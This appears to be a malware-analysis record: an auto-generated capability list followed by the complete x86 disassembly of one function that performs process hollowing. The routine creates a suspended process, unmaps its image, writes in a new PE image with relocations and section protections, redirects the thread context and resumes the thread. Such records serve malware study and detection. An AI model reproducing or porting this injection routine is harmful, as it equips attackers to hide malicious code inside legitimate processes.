Function at 0x40eed0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Execute shellcode via indirect call
Inspect section memory permissions
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x370
push ebx
push esi
push edi
push 0x44
lea eax, [ebp - 0x9c]
xorps xmm0, xmm0
push 0
push eax
mov edi, edx
mov esi, ecx
movups xmmword [ebp - 0x2c], xmm0
call fcn.00415790
add esp, 0xc
mov dword [ebp - 0x9c], 0x44
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x9c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40f031
mov esi, dword [ebp + 8]
push 4
push 0x3000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov dword [ebp - 0x10], ebx
test ebx, ebx
je 0x40f031
push esi
push edi
push ebx
call fcn.004144a0
mov edi, dword [ebx + 0x3c]
add edi, ebx
push 0x2cc
push 0
mov dword [ebp - 0xc], edi
mov eax, dword [edi + 0x34]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x36c]
push eax
call fcn.00415790
add esp, 0x18
mov dword [ebp - 0x36c], 0x10002
lea eax, [ebp - 0x36c]
push eax
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40f031
mov ebx, dword [ebp - 0x2c8]
lea eax, [ebp - 0x54]
push eax
push 4
lea eax, [ebp - 0x34]
add ebx, 8
push eax
push ebx
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x40f031
mov esi, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
cmp esi, eax
jne 0x40efec
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.NtUnmapViewOfSection
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
push dword [ebp - 0x2c]
call eax
add esp, 8
test eax, eax
jne 0x40f031
mov eax, dword [ebp - 0x18]
push 0x40
push 0x3000
push dword [edi + 0x50]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push eax
push dword [ebp - 0x2c]
call edi
mov dword [ebp - 8], eax
test eax, eax
jne 0x40f03a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x1e7
jne 0x40f031
mov ecx, dword [ebp - 0xc]
push 0x40
push 0x3000
push dword [ecx + 0x50]
push 0
push dword [ebp - 0x2c]
call edi
mov dword [ebp - 8], eax
test eax, eax
jne 0x40f03a
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp esi, eax
je 0x40f056
lea eax, [ebp - 0x30]
push eax
push 4
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40f031
mov ebx, dword [ebp - 0xc]
mov eax, 2
mov word [ebx + 0x5c], ax
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0x18]
je 0x40f1c1
test byte [ebx + 0x16], 1
jne 0x40f031
movzx eax, word [ebx + 0x14]
xor esi, esi
mov dword [ebx + 0x34], ecx
xor edx, edx
mov edi, dword [ebx + 0xa0]
lea ecx, [ebx + 0x18]
add ecx, eax
xor ebx, ebx
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], ecx
movzx eax, word [eax + 6]
mov dword [ebp - 0x14], eax
cmp si, ax
jae 0x40f0d3
add ecx, 0xc
mov esi, dword [ecx]
cmp edi, esi
jb 0x40f0b3
mov eax, dword [ecx - 4]
add eax, esi
cmp edi, eax
jb 0x40f0c3
mov eax, dword [ebp - 0x14]
inc edx
movzx eax, ax
add ecx, 0x28
cmp edx, eax
jae 0x40f0d3
mov eax, dword [ebp - 0x14]
jmp 0x40f0a1
mov ecx, dword [ebp - 0x1c]
lea eax, [edx + edx*4]
mov ebx, dword [ecx + eax*8 + 0x14]
sub ebx, dword [ecx + eax*8 + 0xc]
add ebx, edi
mov edi, dword [ebp - 0x10]
xor eax, eax
mov dword [ebp - 0x1c], eax
lea edx, [ebx + edi]
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x30], edx
mov ecx, dword [ebx + 0xa4]
mov dword [ebp - 0x48], ecx
test ecx, ecx
je 0x40f28e
add edx, eax
mov dword [ebp - 0x40], edx
mov eax, dword [edx + 4]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x44], eax
mov eax, 0
mov dword [ebp - 0x14], eax
je 0x40f1aa
nop dword [eax]
nop word [eax + eax]
movzx ecx, word [edx + eax*2 + 8]
mov ax, cx
and ecx, 0xfff
shr ax, 0xc
movzx eax, ax
cmp eax, 3
je 0x40f13f
cmp eax, 0xa
jne 0x40f197
movzx eax, word [ebx + 0x14]
mov edi, ecx
add edi, dword [edx]
add eax, 0x18
add eax, ebx
xor edx, edx
movzx ebx, word [ebx + 6]
xor ecx, ecx
xor esi, esi
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], edx
cmp cx, bx
jae 0x40f182
add eax, 0xc
mov edx, dword [eax]
cmp edi, edx
jb 0x40f177
mov ecx, dword [eax - 4]
add ecx, edx
cmp edi, ecx
jb 0x40f279
inc esi
add eax, 0x28
cmp esi, ebx
jb 0x40f164
mov edx, dword [ebp - 0x3c]
mov ebx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x18]
sub dword [edx + ebx], eax
mov eax, dword [ebp - 8]
add dword [edx + ebx], eax
mov ebx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp eax, dword [ebp - 0x44]
jb 0x40f120
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
add eax, dword [edx + 4]
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x1c], eax
cmp eax, ecx
jb 0x40f0f5
mov ecx, dword [ebp - 8]
mov edi, dword [ebp - 0x10]
mov eax, dword [ebx + 0x28]
add eax, ecx
mov dword [ebp - 0x2bc], eax
lea eax, [ebp - 0x36c]
push eax
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x40f031
lea eax, [ebp - 0x4c]
push eax
push dword [ebx + 0x54]
push edi
push dword [ebp - 8]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40f031
lea eax, [ebp - 0x50]
push eax
push 2
push dword [ebx + 0x54]
push dword [ebp - 8]
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x40f031
mov ecx, dword [ebp - 0xc]
xor edx, edx
mov eax, dword [edi + 0x3c]
xor ebx, ebx
cmp dx, word [ecx + 6]
jae 0x40f351
lea esi, [edi + 0x11c]
add esi, eax
nop dword [eax]
lea eax, [ebp - 0x4c]
push eax
push dword [esi - 0x14]
mov eax, dword [esi - 0x10]
add eax, edi
push eax
mov eax, dword [esi - 0x18]
add eax, dword [ebp - 8]
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40f031
mov ecx, dword [ebp - 0xc]
mov edi, dword [esi - 0x18]
movzx eax, word [ecx + 6]
dec eax
cmp ebx, eax
jne 0x40f296
mov edx, dword [ecx + 0x50]
jmp 0x40f299
mov ecx, dword [ebp - 0x38]
lea eax, [esi + esi*4]
mov edx, dword [ecx + eax*8 + 0x14]
sub edx, dword [ecx + eax*8 + 0xc]
add edx, edi
jmp 0x40f182
mov ecx, dword [ebp - 8]
jmp 0x40f1c4
mov edx, dword [esi + 0x10]
mov ecx, dword [esi]
sub edx, edi
mov eax, ecx
and eax, 0xe0000000
cmp eax, 0xe0000000
jne 0x40f2b2
mov eax, 0x40
jmp 0x40f31e
mov eax, ecx
and eax, 0x60000000
cmp eax, 0x60000000
jne 0x40f2c7
mov eax, 0x20
jmp 0x40f31e
mov eax, ecx
and eax, 0xa0000000
cmp eax, 0xa0000000
jne 0x40f2dc
mov eax, 0x80
jmp 0x40f31e
mov eax, ecx
and eax, 0xc0000000
cmp eax, 0xc0000000
jne 0x40f2f1
mov eax, 4
jmp 0x40f31e
test ecx, 0x20000000
je 0x40f300
mov eax, 0x10
jmp 0x40f31e
test ecx, 0x40000000
je 0x40f30f
mov eax, 2
jmp 0x40f31e
test ecx, ecx
mov eax, 1
mov ecx, 8
cmovs eax, ecx
lea ecx, [ebp - 0x50]
push ecx
push eax
mov eax, dword [ebp - 8]
push edx
add eax, edi
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x40f031
mov eax, dword [ebp - 0xc]
inc ebx
mov edi, dword [ebp - 0x10]
add esi, 0x28
movzx eax, word [eax + 6]
cmp ebx, eax
jl 0x40f240
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
pop edi
setne cl
pop esi
mov eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret